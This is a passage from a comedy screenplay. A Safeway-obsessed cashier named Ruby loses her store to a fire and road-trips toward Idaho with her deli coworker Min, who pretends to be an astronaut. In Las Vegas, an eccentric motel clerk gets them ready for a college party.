a bottle\nof Barefoot Cabernet Sauvignon.\nRUBY (CONT’D)\n$8.99\nShe flips the card, she’s off by a dollar.\nRUBY (CONT’D)\nWhat!\nShe looks back at the card’s front.\nRUBY (CONT’D)\nOh, I thought it said Merlot, it\ndoesn’t count.\nINT. RUBY’S BEDROOM – MIDDLE OF THE NIGHT\nAll the lights are off, she’s fast asleep.\nHer phone begins ringing. Ruby shoots straight up. She\nreaches over the side of her bed and grabs a bra. She\nstruggles to put it on under her shirt. Once it’s on, she\nanswers the phone.\nRUBY\nThis is Ruby. Min? What’s going on?\nHer sleepy face falls into dread.\n\n12.\nEXT. SAFEWAY STORE – NIGHT\nThe store is engulfed in flames. Fire trucks are hosing down\nthe fire.\nRuby arrives out of breath on her scooter. She is incredibly\ndistraught, she finds Min in the small crowd.\nRUBY\nNo no no no no no no no no.\nMIN\nHey Ruby.\nRUBY\nWhat happened?\nMIN\nSomeone said an electrical short.\nRuby stands horrified, staring at the fire.\nRUBY\nNo, that’s not possible. We have\nelectrical inspections every year\nbetween October first and November\nfirst to ensure these things don’t\nhappen.\nMIN\nHuh.\nRUBY\nNo this must…this must have been\narson. My god I knew those rotten\nRalph’s employees had something big\nplanned after we shock and awed\ntheir butts with that three-day\nsale in July. But this?\nMIN\nI don’t think the Ralph’s employees\ndid this.\nRUBY\nWhy is it so big? How long does it\ntake a flippin’ firefighter to\nfight a fire?\nMin stands mesmerized by the fire, he shrugs.\nRUBY (CONT’D)\nWhat have you been doing this whole\ntime?\n\n(MORE)\n13.\nMIN\nI took a picture on my phone\nearlier.\nMin shows Ruby a straight-face selfie he took with the fire\nin the background.\nRUBY\nOur Safeway is burning down right\nbefore your very eyes and that’s\nall you do? We have to help! How\nfull is your bladder right now?\nA FIREFIGHTER jogs past the two.\nRUBY (CONT’D)\nExcuse me, sir. Sir!\nThe firefighter stops and turns towards them.\nRUBY (CONT’D)\nHow much were you able to save?\nFIREFIGHTER\nLuckily no one was in the building\nwhen it caught fire.\nRUBY\nNo no no, not people. The\nmerchandise! The displays! The\ncanned goods! How much made it out\nokay?\nThe firefighter furrows his eyebrows thinking he didn’t hear\nher right. He glances at Min, who neutrally shrugs.\nFIREFIGHTER\nNo, we didn’t save any groceries,\nwe were a bit preoccupied risking\nour lives putting out the massive\nblaze inside.\nRUBY\nYou…you didn’t take…you didn’t save\nany of it? How are we supposed to\nrestock now? It’ll take months\nbefore we get all those shipments\nin, let alone countless hours of\nscrubbing the sooty floors I’m\nsure.\nFIREFIGHTER\nLook, by the time we put this out\nthere won’t be any floors left.\n\nFIREFIGHTER (CONT’D)\n14.\nThis whole thing’s coming down\nfast.\nThe firefighter runs back over to the truck, leaving Ruby\nangry and confused. Just then, the giant SAFEWAY sign comes\nCRASHING down. Ruby stares, mouth ajar.\nThe flames illuminate her eyes, tears welling to the surface.\nHer bottom lip begins to quiver, voice cracks.\nRUBY\nHey Min? Can you reach into my\nbackpack and hand me my diet Fanta?\nI think I’m gonna need a minute.\nEXT. SAFEWAY – DAWN\nRuby sits slumped against the side of a wall across from the\npile of Safeway rubble. It’s unrecognizable at this point.\nMin, sitting next to her, gets up.\nMIN\nThis was fun. Later, Ruby.\nRUBY\nBye Min.\nMin walks away.\nSmoke smolders from the ashes of the rubble. The firetrucks\ndrive away.\nA charred piece of a Safeway club card blows over towards\nRuby. She picks it up and admires it, clutching it in her\npalm, then promptly stuffing it in her bra.\nShe stands up, opens her scooter, and begins to scoot on\nhome, noticeably less pep in her pumps.\nINT. RUBY’S BEDROOM – DAY\nThe lights are dimmed, the curtains drawn. Ruby lays slumped\nin her bed. Her double chin is hard to ignore.\nOn the TV, Ruby is watching the Safeway employee training\nvideo. A non-offensive man talks to the camera as he slowly\npaces down a grocery store aisle.\n\n15.\nTRAINING MAN\nNow it’s important to remember that\neven when customers lose their\ntemper, it’s our job to ensure they\nhave a positive and memorable\nexperience in our store. That’s why\nwe’ve implemented the-\nRuby is mouthing the words of the video, mumbling out loud at\nthis point.\nRUBY\n-five customer service phrases to\nturn any guest’s frown upside down.\nTRAINING MAN\nLet’s begin with our go-to, which\nis “I’m sorry to hear that. What\ncan I do to help your less-thanideal\nsituation become a more-thanideal\nsituation?”\nA knock at the door. Her mom and DAD, Mr. Look-at-the-Bright-\nSide, enter with caution.\nMOM\nHey Ruby, how are you feeling?\nShe doesn’t budge her eye contact from the TV.\nRUBY\nLess than ideal.\nMOM\nDad made some of his famous deviled\neggs if you want some.\nRUBY\nI’m on a diet.\nDAD\nOh come on now, Rubes. Not even one\ncheat day?\nRuby and her double chin stare back at Dad.\nDAD (CONT’D)\nSay, your mom and I were talking.\nWe actually think this whole fire\nthing may be a blessing in\ndisguise.\n\n16.\nRUBY\n(offended)\nWhat kind of blessing robs you of a\ncompany-wide record?\nDAD\nOne in a really good disguise I\nguess.\nMOM\nMaybe the world has more to offer\nyou than just a cashier job at some-\nRuby looks triggered. Back up, Mom.\nMOM (CONT’D)\n-highly respected grocery chain.\nRUBY\nA dynasty.\nMOM\nRight. But are you sure there isn’t\nsomething bigger out there you were\nmeant to do?\nDAD\nIt just feels like a sign is all.\nRUBY\nI will not work for Ralph’s. Or\nWalmart. The fire may have burned\neverything I loved but it didn’t\nburn my dignity.\nMOM\nThink even bigger than just the\ngrocery stores in town. I still\nkept that magazine if you want to-\nMom’s voice fades as the TV training video continues.\nTRAINING MAN\nWith over 900 locations and\ngrowing, you’re a part of a massive\nteam of committed sales associates\nlooking to change the world, one\nreasonably priced purchase at a\ntime.\nThe graphic on the TV shows little dots appear on a US map of\nthe store locations. One in Idaho is barely bigger than the\nrest. Ruby’s heavy head jolts upward.\n\n17.\nRUBY\nOf course, of course I have to\nthink outside the box!\nDAD\nSee? That’s the spirit!\nRuby bursts out of bed and heads to her underwear drawer. She\ndigs her hands beneath the trusty granny panties and pushes a\nlarge white binder aside to grab a framed century-old\nphotograph of a man cutting a ribbon in front of Safeway.\nIn the bottom corner is written “April 1915. American Falls,\nID.”\nRUBY\n(whispers to self)\nAlpha Safeway…\nShe turns and shows her parents the frame.\nRUBY (CONT’D)\nMarion Barton Skaggs built the\nworld’s first Safeway in Idaho.\nI’ve had dreams of visiting it one\nday, but with this nation’s most\nrecent tragedy, I could apply. I\ncould work there.\nRuby’s eyes light up with excitement and craziness.\nDAD\nWhoa whoa, slow your roll there.\nMOM\nI think your dad and I meant you\ncould try something outside of\ncashiering.\nRUBY\nNo, this is it. This is the dream.\nDAD\nYou can chase a new dream-\nRUBY\nPlease, tend to your deviled eggs.\nI have a lot of packing to do.\nRuby grabs a red suitcase and flings it open.\nMom and Dad make concerned eye contact. Mom sighs and guides\nthem out of the room, they mumble on the way out.\n\n18.\nDAD\nThe eggs don’t need tending.\nMOM\nI know, sweetie.\nThe training video continues. The man is now standing outside\nof the Safeway.\nTRAINING MAN\nNow that you’re equipped to become\nthe ultimate Safeway sales\nassociate, we can’t wait to have\nyou join us on the floor. Welcome\nto the team.\nEXT. RUBY’S CAR – MORNING\nRuby uses her body as leverage to hoist the suitcases into\nher car. Mom and Dad walk out towards her.\nMOM\nRuby, I really think you’re acting\na bit rash here.\nDAD\nWhy don’t we take a couple weeks to\nreally think things through, yeah?\nRuby shuts the trunk.\nRUBY\nMom, Dad. I’m grateful for\neverything you’ve provided me in\ntwenty-six years. Unconditional\nlove, countless Gap gift cards, an\neco-friendly transportation method\nfor work-related travel. I can’t\nhelp who I am or what I’m meant to\ndo. I can only hope that you trust\nme to chase my true calling. From\nthe ashes of America’s finest\ngrocery store, the Ruby rises.\nRuby pauses before getting in the car and turns around.\nRUBY (CONT’D)\nThere are thirty five lean cuisines\nleft in the freezer. I encourage\nyou to eat them.\nHer parents exchange defeated nods with her.\n\n19.\nRuby gets in her car.\nHer parents stand together as they watch their baby fly the\nnest. Dad’s eyebrows suddenly furrow.\nDAD\nThirty five?\nMom leans her head on Dad’s shoulder and sighs.\nMOM\nI watched her count them this\nmorning.\nINT. CAR - MORNING\nSitting in her car, Ruby grabs her keys from her pocket. She\nnotices the store keys on the ring, she hesitates.\nShe grabs her phone and scrolls through her five contacts to\nget to “Min (Deli).” She clicks call. It rings for a bit.\nRUBY\nHello, Min. This is your coworker\nRuby. Now I know company guidelines\nrestrict the amount of personal\ninformation we are obligated to\nshare with one another, but I have\nsomething I’d like to drop off if\nyou’re able and willing to disclose\nyour personal address.\nEXT. MIN’S HOUSE – MORNING\nRuby’s dark purple PT Cruiser with baby flames on the side\npulls up in front of the house. Min is sitting on the porch\neating a small tub of cottage cheese.\nRuby gets out of the car and brushes herself off before\napproaching the sidewalk. She stops when she sees Min.\nRUBY\nMin! It’s me, Ruby! From work.\nMIN\nI know.\nRUBY\nYou recognize me without my\nuniform? Or my name tag?\n\n20.\nMIN\nYeah.\nRuby approaches the porch and takes a deep breath. She pulls\nout a small stack of flashcards and stares at them as she\nspeaks in an awkward, performative voice.\nRUBY\nI have been a proud team member at\nour beloved Safeway for nearly ten\nyears. I’ve met some of the most\ndedicated workers in those aisles-\nRuby pauses to flash Min a rigid smile.\nRUBY (CONT’D)\n-and unfortunately I’ve met some\nwho were clearly in it for the\nmoney.\nINSERT – RUBY’S SPEECH CARD\nWe see the words of Ruby’s monologue written out, with\n“(Smile encouragingly here)” after “dedicated workers in\nthose aisles” and “(give a stern, disapproving glance here)”\nafter her most recent line.\nBACK TO SCENE\nRuby furrows her eyebrows a little too much and glances at\nMin for a little too long.\nRUBY\nBut of all the employees I’ve met\nin the break room, you clearly show\nthe most tenacity and general\nforearm strength to move over to\nliquor. It’s for the strongest,\ntoughest, most dedicated Safeway\nemployees, for those that can say-\nRuby does a cross-body sweeping motion with her arms.\nRUBY (CONT’D)\n-“NO!" to minors and “Do you have a\nSafeway club card?” to patrons over\nthe age of twenty-one. So, Min from\nthe Deli, it is my honor to bestow\nupon you-\nRuby reaches into her bra and pulls out the store keys that\nwere previously on her car key ring.\n\n21.\nRUBY (CONT’D)\n-the keys to the liquor section. I\nmust chase the sweet, sweet smell\nof opportunity wafting from the\nheart of Idaho. If you’re ever in\nAmerican Falls, make sure you make\nit a Safeway kind of day.\nSincerely, your coworker Ruby.”\nAlmost out of breath, she looks up and flashes Min a customerservice\nsmile. Min hasn’t left the porch to grab the keys,\nshe eyes them in her hand and nods her head encouragingly.\nMIN\nRuby, all the doors burned down.\nThose keys don’t unlock anything\nanymore.\nShe stares at them in her hand.\nRUBY\nOh…I guess you’re right.\nMIN\nI really liked your speech though.\nA second wave of realization crushes Ruby. Her voice cracks\nwith each item.\nRUBY\nNo more automatic sliding doors, no\nmore produce bins. No more discount\nbread rack, or “Caution: Wet\nFloors” sign. No more 8.99 merlot…\n12.99 Bottomfeeders. All of it, it\nreally is gone huh?\nRuby leans against a tree, but quickly crumbles to the\nground. She begins hyperventilating.\nRUBY (CONT’D)\n(between gasps)\nThis is…incredibly unprofessional\nof me…please…don’t watch this…\nMin approaches Ruby and sits a few feet away from her,\ncontinuing to eat his cottage cheese. It’s weirdly sweet.\nRuby looks to Min. He holds out a spoonful of cottage cheese\nand offers it to Ruby. She shakes her head no.\nThey both stare straight ahead As Ruby catches her breath.\nShe looks back at Min’s bowl. He offers her a bite again, she\npauses, then gently nods her head yes.\n\n22.\nMin hands her the spoon and she takes a sad, sloppy bite. She\nchews it slowly. This is part of her grieving process.\nJust as she goes for another bite, ROXANNE, Min’s girlfriend\ndressed like the antagonist of a 1980’s movie, storms\noutside.\nROXANNE\nMouth off his spoon, you cottage\ncheese wench!\nRuby, afraid to keep chewing, nervously looks to Min.\nMIN\nThis is my girlfriend Roxanne.\nRoxanne, this is-\nROXANNE\nYou think you can share a sensual\nsnack on my aunt’s ex-husband’s\nlawn without me noticing?\nRuby’s customer-service problem-solving skills click in. She\nquickly finishes chewing and stands up.\nRUBY\nHi Roxanne, my name is-\nROXANNE\nNo!\nRUBY\nMy name is-\nROXANNE\nHush!\nRUBY\nI work at Safeway with Min.\nMIN\nRuby wait!\nRoxanne’s hysteria is replaced with killer focus on Min.\nROXANNE\nSafe? Way?\nRUBY\nSafeway! He works in the deli, I\nwork in the liquor section, so we\ntechnically are inter-departmental\ncoworkers\n\n23.\nMin looks absolutely terrified. Roxanne gets even closer,\nputting on an aggressively “kind” persona. She smiles.\nROXANNE\nMin. Minny the Pooh. My little\nspace comet. Tell me the bimbo is\nlying. Tell me you’re not some deli\nboy.\nRUBY\nNot just some deli boy, he’s the\nultimate deli boy!\nRoxanne’s smile starts to crack, her voice lowering.\nROXANNE\nSo you’re not an astronaut?\nRuby’s eyes widen. Min looks humiliated. He drops his gaze to\nthe ground, and ashamedly nods his head no.\nRUBY\nOur mesquite turkey breast is so\nout-of-this-world I could see how\none would make that mistake.\nRoxanne glares at Ruby before storming inside. There’s a\nmoment of uncomfortable stillness between Ruby and Min.\nRUBY (CONT’D)\nDid I say something wrong?\nMin falls further into crippling embarrassment.\nUh oh, Roxanne is back. She’s got an armful of Min’s clothing\nand she throws it on to the lawn.\nROXANNE\nHere, deli boy! Since it looks like\nyou won’t be flying me to Mars\nanytime soon, I guess you’ll be\nneeding your Earth clothes back.\nShe then grabs a tiny black case.\nROXANNE (CONT’D)\nAnd here’s your stupid flute that\nyou’ll apparently never play in\nspace!\nBack inside she goes.\nRUBY\nI didn’t know you played the flute.\n\n24.\nMIN\nIt relaxes me.\nRoxanne hauls a Min-shrine on wheels out onto the porch. It’s\nsix feet tall, has dozens of pictures and caricatures of Min\nas an astronaut on it. Hearts and “Future Mrs. Space Min” are\ndoodled on it. A drawing of their future family is on there.\nROXANNE\nAnd so much for our three space\nchildren, Apollo, Mercury, and\nSolstice. Guess I’ll just have\nthree Earth children now and name\nthem Min, Is, and Deadtome. All one\nword.\nRoxanne kicks the shrine off the porch and runs back inside.\nRuby stops to admire the craftsmanship.\nRoxanne returns with a globe.\nROXANNE (CONT’D)\nAnd thanks to you, I’ll be stuck on\nthis stupid planet for the rest of\nmy life!\nRoxanne hucks the globe at Min.\nRUBY\nMin, look out!\nThe globe is en route to his face. Right when we would expect\nto hear the sound of impact on his face-\nINT. IHOP – MORNING\n-an orange soda in a clear diner cup is placed roughly on the\ntable.\nRuby and Min sit at a booth. Min’s face has clearly seen\nblunt-force trauma. He’s on his phone, holding it too close\nto his face.\nRUBY\nMin?\nMin heavily raises his head to look at her.\nRUBY (CONT’D)\nDo you always pretend to be an\nastronaut?\n\n25.\nMIN\nJust when I’m dating women.\nRuby tries to hide her overwhelming confusion.\nRUBY\nRight. Because...\nShe hopes Min will finish her sentence for her. He doesn’t.\nRUBY (CONT’D)\nRight.\nMin’s phone chimes.\nRUBY (CONT’D)\nIs that Roxanne? Did she apologize\nfor shoving that mini Min in your\nmouth?\nMIN\nNo. It’s Jasmine.\nRUBY\nAh. Who’s that?\nMIN\nA woman interested in being my\ngirlfriend.\nMin lowers his phone enough to reveal a dating profile of\nJasmine. She’s out of his league by a sizeable margin.\nRUBY\nWow! That’s quite the speedy\ntransition. Does she also think\nyou’re an astronaut?\nMin nods.\nMIN\nShe lives in Logan, Utah. You’re\ngoing to Idaho, right?\nRUBY\nWell, yeah I’m heading that-\nMIN\nCould you drop me off?\nRUBY\nIn…Utah?\nMin nods.\n\n26.\nRUBY (CONT’D)\nTo meet this girl? Who thinks you\nwork for NASA? That you know\nnothing about?\nMin nods.\nRUBY (CONT’D)\nMin, I’m sorry. This is an\nimportant expedition of selfactualization\nfor me to reflect on\nmy greater purpose as I journey\ntowards my next stage in life. I\ndon’t think bringing you along\nwould do either of us any good.\nMIN\nOkay. I guess I just thought we\nwere friends.\nRuby’s face freezes in a state of surprise.\nRUBY\nFriends? You and I, that’s what we\nare?\nMin nods.\nRUBY (CONT’D)\nAnd dropping you off in Utah is\nsomething a friend would do?\nMin nods.\nINT. CAR ON THE HIGHWAY – DAY\nBoth Ruby and Min are staring straight ahead. Ruby looks on\nedge, Min’s clothing is stacked high on his lap.\nThere’s several seconds of silence. The only sound is a\nsubtle whir from the road.\nRUBY\nJust to be clear, I don’t enjoy\nChristian Rock, Americanized\nReggae, or The Beach Boys, so don’t\nexpect to hear any of their songs\nover the next couple days.\nMin nods.\nMore whirring.\n\n27.\nRUBY (CONT’D)\nYou should also know that when I\nwas sixteen years old, I was\ndiagnosed with acute narcolepsy,\nand driving past dusk comes with\ngreater-than-average risk. We’ll\nhave to stop when the sun begins\nsetting.\nMin nods.\nMore whirring.\nRUBY (CONT’D)\nOh, I have an idea.\nRuby reaches into the console between them and pulls out a\ntiny plastic box labeled “Chat Pack.”\nRUBY (CONT’D)\nI have these in my car to fill\nuncomfortable silences with\nunexpected car mates. They’re\nquestions we can ask one another to\nlearn fun facts and interesting\nstories about each other’s lives up\nto this point. Go ahead, you can\npick out the first question.\nMin takes the box from Ruby and pulls out a small rectangular\nlaminated strip.\nMIN\nWhat is your favorite color?\nRUBY\nOoh, a spicy one to start off! If\nwe were on company time, I’d tell\nyou red and black obviously. But,\njust between us two, I’m a bigger\nfan of the color orange. My parents\neven tell me I can pull off the\ncolor which is historically hard to\ndo. What about you?\nMIN\nBrown is nice.\nRUBY\nThat’s a good one.\nA beat.\n\n28.\nRUBY (CONT’D)\nWhat’s the next question?\nMin pulls out another strip.\nMIN\nDo you have any tattoos? If so,\nshow the other person.\nRUBY\nNo, I do not. Having tattoos\nshowing outside of the uniform’s\ndimensions would be against\ncorporate policy. While we’re\nopening up to one another, it seems\nthat only “cool” kids get tattoos.\nAnd from my experience, “cool” kids\nand I do not get along. They think\nI’m...\nRuby gives up on trying to find the right word.\nMIN\nI have a tattoo.\nOops. A beat.\nRUBY\nOh. Right. Well, that’s...cool.\nMin nods.\nMore whirring.\nRUBY (CONT’D)\nSo what’s your tattoo?\nMIN\nMy mother’s rules.\nRUBY\nIs that a song?\nMIN\nNo.\nA pause. Then…\nMin starts unbuckling his pants, Ruby notices.\nRUBY\nMin, Min what are you…\nMin begins sliding his pants down below his butt.\n\n29.\nFrom the console Ruby grabs a screaming meanie. She presses a\nbutton to unleash a deafening sound.\nMin covers his ears just as his jeans are down far enough to\nreveal perfectly appropriate boxer shorts and a tattooed list\non both legs from the top of the knees down to the mid-thigh.\nThe top says “Mama Min’s Ten Rules.”\nMIN\nRuby, my ears hurt! Please stop!\nShe quickly shuts off the alarm.\nRUBY\nWhy the flippin’ heck are you\ntaking your pants off!\nMIN\nThe card said to show you my\ntattoo. I was just trying to follow\nthe rules.\nRuby squints her eyes and darts her head quickly between the\nroad and his hairless legs.\nRUBY\nI can’t read it while I’m driving,\nand I don’t want to accidentally\nglance too high up your thigh. Can\nyou just explain it to me?\nMin sighs and stares straight ahead.\nFLASHBACK – INT. BASEMENT – NIGHT\nIt’s a cold, unfinished space that is dimly lit. MAMA MIN,\nMin’s crazed mother, paces back and forth in front of a\nchalkboard with ten rules written out. A young Min sits on\nthe ground in front of his mom.\nAll dialogue in italics is spoken in Korean.\nMAMA MIN\nNow you listen closely, Min. Your\nfather is dead to us, understand?\nYou’re going to follow these rules\nvery closely.\nMin nods. As each rule is narrated with subtitles, each of\nthe corresponding rules written in English on the chalkboard\nis shown.\n\n30.\nMAMA MIN (CONT’D)\nNumber one: Never run away from\nMama. Number two: Never let your\nnipples see sunlight. Number three:\nNever wear sunglasses inside.\nNumber four: Never lie to a woman\nto make her fall in love with you.\nNumber five: Never buy a luxury\ncar. Number six: Never trust a\nHoliday Inn. Number seven: Never\ncry in front of other people.\nNumber eight: Never experiment in\nwomen’s fashion. Number nine: Never\ndabble in drugs, alcohol, or\ntattoos. And number ten-\nEND FLASHBACK\nRuby’s eyebrows are furrowed.\nRUBY\nWhy didn’t she want you working in\na deli?\nMIN\nMy father worked in a deli. She\nwanted me to stay far away from his\npath.\nMin pulls up his pants, as we read “Rule number ten: No\nworking in delis.”\nRUBY\nYour father did all of those things\non the list?\nMIN\nAccording to my mother, they were\nthe ten signs he was leaving her.\nRUBY\nAnd you were afraid you’d forget\nthem?\nMIN\nI got it so I would know how to\nleave her, too.\nThey both stare blankly ahead.\n\n31.\nEXT. SAFEWAY GAS PUMP – EVENING\nMin is on his phone outside the car as Ruby finishes filling\nthe tank.\nRUBY\nWe’ve only got an hour or so before\nsunset, so we best find a hotel to\nstay at.\nShe pulls out her phone and pecks at it like an old man.\nRUBY (CONT’D)\nI’ve never been to Las Vegas\nbefore. Should we get…I don’t\nknow…a little crazy?\nMin’s raises his eyebrows ever so slightly.\nEXT. HIGHWAY – EVENING\nThe PT Cruiser whizzes by a sign that reads “Las Vegas - 10.”\nEXT. UNMARKED PARKING LOT – EVENING\nMusic plays as we see the bottom half of the flaming purple\nchariot pulling into a parking spot.\nThe door opens, out step legs in black pants and black\nSketcher’s shape-ups. From the passenger side, legs in\nheather-grey sweatpants and flip flops.\nEXT. ENTRANCE TO HOTEL/CASINO – EVENING\nThe music continues as they approach a hotel entrance, Min\nclutching his pile of clothes. They stare up at the sign.\nThe music stops as they take in what’s around them. They’re\nin the middle of nowhere. No casinos, no limos, nothing.\nMIN\nVegas is smaller than I thought.\nRuby looks down at her phone.\nRUBY\nThis neighborhood had the highest\nsafety rating in all of Vegas.\nThey look around some more. Wow, really, there’s... nothing.\nRuby looks back down at her phone.\n\n32.\nRUBY (CONT’D)\nBut they do have slot machines, so\ntechnically, it’s a casino.\nRuby’s face lights up with childlike rebellion. After several\nfailed attempts of working up the courage to jump in the\nrevolving door, she opts for the manual one. Min follows.\nINT. SHITTY HOTEL LOBBY – EVENING\nThis hotel hasn’t passed an inspection since Min’s dad left.\nThree ancient slot machines stand across the room. An old\nlady is slumped over on one, a lit cigarette in her hand.\nRuby’s excitement overshadows the glaring shittiness of this\nhotel. She walks over to the counter and rings the bell.\nThe sleeping woman on the slot machine jolts up. BABS is in a\nsweatsuit and her voice sounds like she just took a fist to\nthe voice box. She walks over to the ancient computer.\nBABS\nEnchante! The name’s Babs. How can\nI help you two?\nRUBY\nYes, I checked in via your online\nportal. And if you’re open to\nconstructive criticism, I wonder if\na more updated website would help\nboost potential sales.\nBABS\nWe strive to keep things “barely\nfunctioning” around here. You know,\nkeep costs low.\nBabs slaps the side of the computer to shock it back to life.\nBABS (CONT’D)\nYou must be Ruby?\nRuby subtly moves her hair away from her name tag.\nRUBY\nThat’s correct!\nBABS\nLooks like we have a room with two\nqueen beds. Uh oh, trouble in\nparadise?\n\n33.\nRUBY\nOh no, Min and I aren’t in a\nrelationship of romantic sorts.\nHe’s uh…he’s my friend.\nShe says “friend” the way someone says “fiancé” for the first\ntime.\nBabs helps grab Ruby’s luggage, her body fighting her every\nstep of the way.\nBABS\nFollow me, kids.\nBabs stiffly walks towards the elevators. They follow.\nINT. HOTEL ROOM – EVENING\nBabs opens the door after giving it a hearty shove.\nBABS\nWelcome to your temporary oasis.\nThe room is modest, to put it nicely.\nRUBY\nI read your customer service\nreviews online and they had very\ngenerous things to say.\nBABS\nOh, you know I don’t really do that\nanymore. I’m a little too old to be\ncatering to those customer needs, I\ntell you what, menopause just\nreally takes it out of-\nRuby isn’t on the same page.\nBABS (CONT’D)\nJust an old Vegas joke for you!\nIt wasn’t a joke. Ruby pretends she gets it.\nBABS (CONT’D)\nYou guys have big plans for the\nnight? Looking for any nightclub or\nrestaurant recommendations?\nMin sits on the bed and bounces to test the firmness. Still\nholding his clothes, he tips over to lay down.\n\n34.\nRUBY\nWe passed a place on our drive in\nthat I’ve got my eye on.\nEXT. WALGREENS – NIGHT\nThis part of old Vegas looks slightly more alive.\nINT. WALGREENS – NIGHT\nRuby is staring at a glass freezer case. Staring at the lean\ncuisine options, she picks the chicken teriyaki stir fry.\nShe sees Min down the toy aisle playing with a bop it. She\nwanders down the greeting card aisle.\nThere’s a section of cards labeled “Friendship.” She looks\naround to make sure no one is watching, then cautiously picks\none up to examine.\nThe outside reads in girly script “Luckily for me, you’re\nmore than a friend…” She opens it up to reveal the inside:\n“…because you’re my SISTER til the very end.” Two sister\nstick figures are hugging.\nRuby looks back at Min in the toy aisle. He just missed a\nbop, and he’s hanging his head in defeat. Ruby smiles and\nlooks back at the card.\nMALE VOICE\nRuby?\nRuby hides the card like a middle schooler with a titty mag.\nShe recognizes Blake, the patron from back home.\nRUBY\nBlake?\nBLAKE\nI don’t believe it! Ruby Tuesday is\nin Vegas? What are you doing here?\nRUBY\nI’m uh, I’m just making a pit stop\non my way to Idaho. Onto bigger and\nbetter things, just like you.\nBLAKE\nI heard about the old place burning\ndown. That’s a major bummer, man.\nI’m sorry.\n\n35.\nMin comes up behind Ruby, on his phone.\nRUBY\nThis is Min, you might recognize\nhim from the deli.\nBLAKE\nNo kidding! I didn’t realize all\nyou guys were friends outside of\nwork.\nRUBY\nCrazy, right?\nBLAKE\nHey, if you guys don’t have any\nplans tonight, we’re throwing a\nparty at Sigma Chi. You guys should\ntotally stop by! Girls get in free,\nguys have to pay ten bucks.\nRUBY\nThat’s very kind of you, Blake. But\nnothing has changed. I’m still just\nan alcohol sales associate, not a\npartier.\nBLAKE\nPotatoe, Patahtoe. Well, here, in\ncase you change your mind….\nBlake grabs a marker from a nearby shelf and takes the card\nRuby has failed at hiding. She looks mortified. He writes on\nthe back of it.\nBLAKE (CONT’D)\nThose are directions on how to get\nthere. Sorry, you probably have to\nbuy that now.\nRUBY\nYeah I wasn’t planning on buying\nthis silly card, but I guess I will\nnow just because you wrote on it.\nBLAKE\nAlright well I gotta go grab some\nrubbers. I’ll see you there, Rubes?\nRUBY\nWe’ve got a long day of driving\nahead of-\n\n36.\nBLAKE\nI’ll take that as a maybe.\nBlake jogs out of the aisle. Ruby still tries hiding the card\nfrom Min, but she looks down at the back of it to see Blake\nhas written “Put UNLV Sigma Chi in your GPS.”\nINT. SHITTY HOTEL LOBBY – NIGHT\nRuby puts her Lean Cuisine in the communal microwave. She\nreaches into her back pocket and pulls out a tiny laminated\nphotograph of Marion Barton Skaggs, founder of Safeway. His\ntitle, birthday, and death day are labeled.\nRUBY\nWhat are you trying to tell me,\nMarion? Have I failed my duties as\nan alcohol sales associate by not\npartaking in alcohol’s most\nfruitful environment? Am I…am I\nmeant to party?\nBabs comes rolling behind Ruby facing backwards on an office\nchair. Ruby doesn’t see her at first.\nBABS\nYou looking to party?\nRuby jumps. The microwave goes off.\nRUBY\nNo. I…I don’t think so. I’ve never\ndone it before.\nRuby shyly stirs the stir fry and puts it back.\nBABS\nWell if you’re looking to have a\ngood time, I can certainly help you\nout.\nBabs winks and conspicuously contorts her face.\nRUBY\nAren’t you worried about leaving\nyour station in the event that more\npatrons arrive to check in?\nBabs laughs so hard she starts to cough uncontrollably.\nBABS\n(in between coughs)\nOh honey...That’s not gonna happen.\n\n37.\nRuby ponders this more than anyone should.\nBABS (CONT’D)\nI used to be the hottest partygoer\nin Vegas. These legs would stop\ntraffic on the strip like you\nwouldn’t believe before the\nvaricose veins set in.\nRUBY\nAnd you remember enough about it to\nteach me?\nBABS\nOh baby, it’s like riding a bike.\nHow long do we have until the party\nstarts?\nRUBY\nHe said it starts at eight.\nBABS\nYou won’t want to get there until\n9:30 at the earliest.\nRUBY\nI don’t show up late.\nBABS\nYou do now.\nRuby looks over at Min, who has been sitting at the slot\nmachine the entire time on his phone.\nRUBY\nHey, Min?\nHe looks up.\nRUBY (CONT’D)\nDo you wanna go to a party?\nMIN\nOkay.\nBABS\nFollow me.\nBabs pushes herself through the lobby on the office chair.\nMin and Ruby follow.\n\n38.\nINT. BACK ROOM – NIGHT\nMin and Ruby stand in a dark closet. Babs finishes pouring\nbooze into two red solo cups and hand them to Min and Ruby.\nBABS\nDrink this.\nRuby, without thinking, goes to drink the contents of the\ncup. The taste hits her, and she spits all over her clothes.\nShe screams/chokes.\nRUBY\nWhat is that?\nBABS\nAbout six different kinds of\nalcohol and a hearty dash of\nCholula. Call it Babbie’s Pregame\nSpecial.\nRUBY\nOh…\nWait, that’s what alcohol tastes like?\nRUBY (CONT’D)\nOH…\nMin finishes his cup.\nMIN\nAaah.\nRuby and Babs look on with disbelief.\nINT. HOTEL ROOM BATHROOM - NIGHT\nAn earnest Babs is making an absolute mess of Ruby’s hair.\nMin curiously watches on.\nBABS\nListen up kittens, there’s a few\nthings you should know about\nparties. First and foremost, if the\ncops come while you’re tripping on\nLSD, just play dead. They don’t\nwanna fill out all that paperwork\nso they’ll pretend they don’t see\nyou lying dead on the carpet.\nRuby is jotting notes down on a notepad.\n\n39.\nRUBY\nQuick question: what exactly are\n“rubbers?”\nBABS\nYou talking condoms? I didn’t know\npeople still called ‘em rubbers!\nRUBY\nI think you might be mistaken. The\nman who invited us to the party was\nin a rush to get some, I didn’t\nknow if it was customary for\neveryone to bring something rubber\nto a college party.\nBABS\nThe City of Sin claims another\nvictim! It’s nothing to be nervous\nabout. If you’re not digging Mr.\nParty Host, just shut it down. But\nif, you know, you’re feeling frisky\nand you’re not too messed up, you\ncan just make your way to his\nbedroom and have some fun! Turn on\nsome music to set the mood.\nRUBY\nWhat kind of mood?\nBABS\nA romantic mood!\nRuby jots this down.\nRUBY\nSeems a bit inappropriate for a\nsaleswoman and her patron, but if\nthat’s how parties work...\nBABS\nWe need to get you in some party\nclothes though. You need another\nBabbie’s special?\nRUBY\nOh I’ve got plenty left in my-\nRuby looks where she set her cup, only to find Min guzzling\nthe rest of it. He looks up from the empty cup sheepishly.\nMIN\nI find it quite delicious.\n\n40.\nINT. HOTEL ROOM – NIGHT\nRuby is standing straight up. Babs is examining her while\nsmoking a cigarette on the bed.\nBABS\nTake the name tag off.\nRUBY\nBut my name tag is-\nBABS\nOff!\nRuby sighs and takes off her name tag. She’s left in her\nblack pants and khaki colored cotton tee.\nBABS (CONT’D)\nThis is really all you have?\nRuby gestures to the open suitcases on the bed. They contain\nnothing but khaki pants, black polos, and granny bras.\nBABS (CONT’D)\nYou’ve really got a signature 